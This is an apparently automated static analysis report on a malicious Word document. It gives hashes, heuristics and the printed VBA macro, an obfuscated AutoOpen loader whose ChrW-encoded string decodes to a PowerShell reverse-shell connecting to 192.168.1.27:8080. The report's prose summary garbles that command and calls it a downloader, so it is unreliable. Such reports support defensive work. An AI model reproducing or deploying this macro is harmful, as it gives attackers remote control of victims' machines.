Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9a7229a490365ee5…

MALICIOUS

Office (OOXML)

24.7 KB Created: 2021-06-08 08:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: e6a372cfd3211fc29028aa6696150578 SHA-1: 01e7c5b384f36aff9e6e1e83689d2a7af6fa251d SHA-256: 9a7229a490365ee5248579efe410c2b5808a68ab621518ebf57de7e29ee725c1
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Office document containing a malicious VBA macro. The macro is obfuscated and uses the AutoOpen function to execute code. It constructs a command string that appears to be 'powershell.exe -function cleanup {$client.Connect -eq $true} {$client.Close()}; if ($process.Success -eq $true) {$client.Close()}' which is designed to download and execute a second-stage payload. The presence of Shell() calls and obfuscated auto-execution loaders strongly indicates malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 25050 bytes
SHA-256: d1e5bc23ae352a73280a18e813921a5c94c03cd629de349950a82c193f75abbc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub Main()
    Dim exec As String
    exec = ""
    Dim ret
    exec = exec & ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108)
    exec = exec & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(34) & ChrW(32) & ChrW(102)
    exec = exec & ChrW(117) & ChrW(110) & ChrW(99) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(32) & ChrW(99)
    exec = exec & ChrW(108) & ChrW(101) & ChrW(97) & ChrW(110) & ChrW(117) & ChrW(112) & ChrW(32) & ChrW(123) & ChrW(105)
    exec = exec & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110)
    exec = exec & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99) & ChrW(116)
    exec = exec & ChrW(101) & ChrW(100) & ChrW(32) & ChrW(45) & ChrW(101) & ChrW(113) & ChrW(32) & ChrW(36) & ChrW(116)
    exec = exec & ChrW(114) & ChrW(117) & ChrW(101) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(99) & ChrW(108)
    exec = exec & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(108) & ChrW(111) & ChrW(115)
    exec = exec & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32) & ChrW(32) & ChrW(32)
    exec = exec & ChrW(105) & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(112) & ChrW(114) & ChrW(111) & ChrW(99)
    exec = exec & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(69) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(67)
    exec = exec & ChrW(111) & ChrW(100) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(101) & ChrW(32) & ChrW(36)
    exec = exec & ChrW(110) & ChrW(117) & ChrW(108) & ChrW(108) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(112)
    exec = exec & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(67) & ChrW(108)
    exec = exec & ChrW(111) & ChrW(115) & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32)
    exec = exec & ChrW(32) & ChrW(32) & ChrW(101) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(59) & ChrW(125) & ChrW(59)
    exec = exec & ChrW(36) & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(32)
    exec = exec & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(49) & ChrW(57) & ChrW(50) & ChrW(46) & ChrW(49) & ChrW(54)
    exec = exec & ChrW(56) & ChrW(46) & ChrW(49) & ChrW(46) & ChrW(50) & ChrW(55) & ChrW(39) & ChrW(59) & ChrW(36)
    exec = exec & ChrW(112) & ChrW(111) & ChrW(114) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(56)
    exec = exec & ChrW(48) & ChrW(56) & ChrW(48) & ChrW(39) & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105)
    exec = exec & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(78) & ChrW(101) & ChrW(119)
    exec = exec & ChrW(45) & ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(115)
    exec = exec & ChrW(121) & ChrW(115) & ChrW(116) & ChrW(101) & ChrW(109) & ChrW(46) & ChrW(110) & ChrW(101) & ChrW(116)
    exec = exec & ChrW(46) & ChrW(115) & ChrW(111) & ChrW(99) & ChrW(107) & ChrW(101) & ChrW(116) & ChrW(115) & ChrW(46)
    exec = exec & ChrW(116) & ChrW(99) & ChrW(112) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116)
    exec = exec & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46)
    exec = exec & ChrW(99) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(40) & ChrW(36)
    exec = exec & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(44) & ChrW(36)
    exec = exec & ChrW(112) & ChrW(111) & ChrW(114) & ChrW(116) & ChrW(41) & ChrW(
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 40448 bytes
SHA-256: 886b9caccb62d0e0bd5414983109323eaa820ef244428dc4537777aec1e03ee3
emf_00.emf ooxml-emf OOXML EMF part: docProps/thumbnail.emf 4848 bytes
SHA-256: 6c7ba325ed61af0aa8d022bb3918448ff3964a419ddb5cb602fd755274e0e739